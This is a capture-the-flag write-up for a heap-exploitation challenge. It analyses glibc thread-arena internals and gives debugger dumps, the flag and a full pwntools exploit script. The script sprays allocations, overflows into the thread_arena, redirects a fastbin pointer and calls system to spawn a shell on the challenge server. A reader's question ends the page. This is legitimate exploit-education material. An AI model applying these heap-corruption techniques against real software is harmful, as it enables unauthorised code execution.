Challenge makes a thread to do the job. So , a thread_arena is created on a new mmap_segment.
Overflow in read function :
for ( i = 0LL; ; i += v3 )
{
result = i;
if ( i >= size )
break;
v3 = read(0, (void *)(heap_ptr + i), size);
if ( v3 <= 0 )
{
write(1, "I/O error\n", 0xAuLL);
sub_400AD6(1u);
}
}
We can overflow in thread's heap.
I discovered 2 attack vectors . Only 1 , however, could solve the challenge. Thankfully, I had source code for sysmalloc and arena .
Jump to PATH 2 for working solution. This one is just analysis.
Overwrite top chunk with small size and then trigger _int_free in order to get an unsorted bin. Not same as House of Orange, since this works on thread_arena, and checks are different.
if (av != &main_arena)
{
heap_info *old_heap, *heap;
...
}
We need to reach _int_free codepath. See below code :
if ((long) (MINSIZE + nb - old_size) > 0 && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
{
av->system_mem += old_heap->size - old_heap_size;
set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
| PREV_INUSE);
}
else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
{
/* Use a newly allocated heap. */
heap->ar_ptr = av;
heap->prev = old_heap;
av->system_mem += heap->size;
/* Set up the new top. */
top (av) = chunk_at_offset (heap, sizeof (*heap));
set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);
/* Setup fencepost and free the old top chunk with a multiple of
MALLOC_ALIGNMENT in size. */
/* The fencepost takes at least MINSIZE bytes, because it might
become the top chunk again later. Note that a footer is set
up, too, although the chunk is marked in use. */
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);
}
}
So, after we overwrite top chunk with small size, we need to still pass the following check:
if ((long) (MINSIZE + nb - old_size) > 0 && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
In House Of Orange, there was no grow_heap
, everything was handled by __morecore(). Here , we need to make grow_heap return error.
Here is its source code :
static int
grow_heap(heap_info *h, long diff)
{
size_t page_mask = GLRO(dl_pagesize) - 1;
long new_size;
diff = (diff + page_mask) & ~page_mask;
new_size = (long)h->size + diff;
if((unsigned long) new_size > (unsigned long) HEAP_MAX_SIZE)
return -1;
if((unsigned long) new_size > h->mprotect_size) {
if (__mprotect((char *)h + h->mprotect_size,
(unsigned long) new_size - h->mprotect_size,
PROT_READ|PROT_WRITE) != 0)
return -2;
h->mprotect_size = new_size;
}
h->size = new_size;
return 0;
}
The only way to bypass this is if we made mprotect fail. So , if we made our heap segment close to a different memory segment. Normally, its above a non-readable,writable and executable page so that it can easily extend into it. But if we spam alloc to make it above a libc segment, and then overwrite top chunk, we can trigger _int_free.
gef➤ x/20xg 0x7f9503ffcfe0-0x800
0x7f9503ffc7e0: 0x0000000000000000 0x0000000000000000
0x7f9503ffc7f0: 0x0000000000000000 0x0000000000000000
0x7f9503ffc800: 0x0000000000000000 0x0000000000000000
0x7f9503ffc810: 0x0000000000000000 0x0000000000000000
0x7f9503ffc820: 0x0000000000000000 0x0000000000000000
0x7f9503ffc830: 0x0000000000000000 0x00000000000007b1
0x7f9503ffc840: 0x00007f9500000548 0x00007f9500000548 < - - Finally
0x7f9503ffc850: 0x00007f9503ffc830 0x00007f9503ffc830
0x7f9503ffc860: 0x0000000000000000 0x0000000000000000
0x7f9503ffc870: 0x0000000000000000 0x0000000000000000
With this, we can do unsorted bin attack on known addresses (like in bss ), and also in the threads arena (partial overwrites) Unfortunately , that lead nowhere.
If we spam mallocs, then we can make possible a certain case where the mmap segments are continuous with each other, and the segment where we malloc will be right above the thread_arena, hence we will overflow into thread_arena.
VMMAP Output :
gef➤ v
Start End Offset Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /home/ubuntu/china-ctf/distrib/null
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /home/ubuntu/china-ctf/distrib/null
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /home/ubuntu/china-ctf/distrib/null
0x0000000001ba8000 0x0000000001bc9000 0x0000000000000000 rw- [heap]
0x00007f5a78000000 0x00007f5a80000000 0x0000000000000000 rw- < -- we control
0x00007f5a80000000 0x00007f5a83ffd000 0x0000000000000000 rw- < -- thread_arena
0x00007f5a83ffd000 0x00007f5a84000000 0x0000000000000000 ---
0x00007f5a87071000 0x00007f5a87072000 0x0000000000000000 ---
Now , OVERFLOW
Here we can either overwrite top chunk ptr to point in BSS.
I however chose to spam a fastbin freelist ptr in bss (near stdout), since malloc checks fastbin freelists first.
gef➤ x/20xg 0x00007f5a80000000
0x7f5a80000000: 0x000000000060201d 0x000000000060201d
0x7f5a80000010: 0x0000000003ffd000 0x0000000003ffd000
0x7f5a80000020: 0x0000000300000000 0x000000000060201d
0x7f5a80000030: 0x000000000060201d 0x000000000060201d
0x7f5a80000040: 0x000000000060201d 0x000000000060201d
0x7f5a80000050: 0x000000000060201d 0x000000000060201d
0x7f5a80000060: 0x000000000060201d 0x000000000060201d
0x7f5a80000070: 0x000000000060201d 0x00007f5a7fffff0a
0x7f5a80000080: 0x00007f5a7bffffc0 0x00007f5a80000078
0x7f5a80000090: 0x00007f5a80000078 0x00007f5a80000088
gef➤ x/4xg 0x60201d
0x60201d: 0x5a87c368e0000000 0x000000000000007f
0x60202d: 0x0000000000000000 0x0000400af8000000
Now we overwrite function ptr with system@PLT , and shell
Flag : N1CTF{a_singie_spark_burns_the_arena}
Exploit script :
from pwn import *
import subprocess
password = "i'm ready for challenge"
def alloc(size, blocks, data):
r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', str(size))
r.sendlineafter('blocks: ', str(blocks))
r.sendlineafter('(0/1): ', '1')
r.sendafter('Input: ', 'A'*8)
for i in xrange(4):
r.send(p64(0x411))
r.send(p64(0x411) * size)
return
def hack():
r.sendlineafter('password: \n', password)
r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', str(0xc8))
r.sendlineafter('blocks: ', "3")
r.sendlineafter('(0/1): ', '0')
# r.sendafter('Input: ', 'A'*8)
#alloc(0xc8, 3, 'lel')
#raw_input()
for i in xrange(12):
r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', "16300")
r.sendlineafter('blocks: ', "999")
r.sendlineafter('(0/1): ', '0')
print str(i) + "Iteration"
r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', "16300")
r.sendlineafter('blocks: ', "334")
r.sendlineafter('(0/1): ', '0')
for i in xrange(14):
r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', "200")
r.sendlineafter('blocks: ', "0")
r.sendlineafter('(0/1): ', '1')
r.recvuntil("t:")
lol = "C"*100
lol += str(i)
lol = lol.ljust(199,"D")
r.sendline(lol)
print str(i) + "Part 2"
r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', "20")
r.sendlineafter('blocks: ', "10")
r.sendlineafter('(0/1): ', '0')
r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', "600")
r.sendlineafter('blocks: ', "0")
r.sendlineafter('(0/1): ', '1')
r.recvuntil("t:")
buf = "X"*598
r.sendline(buf)
# finale = "Y"*193
finale = "Y"
finale += p64(0x31)
finale += p64(0x00)*4
finale += p64(0x60201d)*2
finale += p64(0x0000000003ffd000)*2
finale += p64(0x0000000300000000)
finale += p64(0x60201d)*10
# finale += "Z"*8
r.sendline(finale)
raw_input("SEE")
r.sendlineafter('Action: ', '1')
r.sendlineafter('Size: ', "96")
r.sendlineafter('blocks: ', "0")
r.sendlineafter('(0/1): ', '1')
r.recvuntil("t:")
lol = "/bin/sh\x00RRR"
lol += p64(0x400978)
lol = lol.ljust(95,"R")
r.sendline(lol)
r.interactive()
r = remote('47.75.57.242', 5000)
#r = process("./null")
raw_input()
r.recvuntil("28 ")
leak = r.recv(8)
cmd = "hashcash -m -b 28 %s" % leak
proc = subprocess.Popen([cmd], stdout=subprocess.PIPE, shell=True)
cmd = "hashcash -m -b 28 %s" % leak
(out, err) = proc.communicate()
print out
r.sendline(out)
hack()
hello, I have a problem.
when I debug, I found that every time the offset between the thread_arena's malloc_state instance and begin of libc is different. so I don't know how many times I should spam malloc. can you tell me why. thanks a lot!
update:
I got it. every time there are some non-readable spaces and their sizes are random, but they don't affect the size I could malloc between thread_arena and libc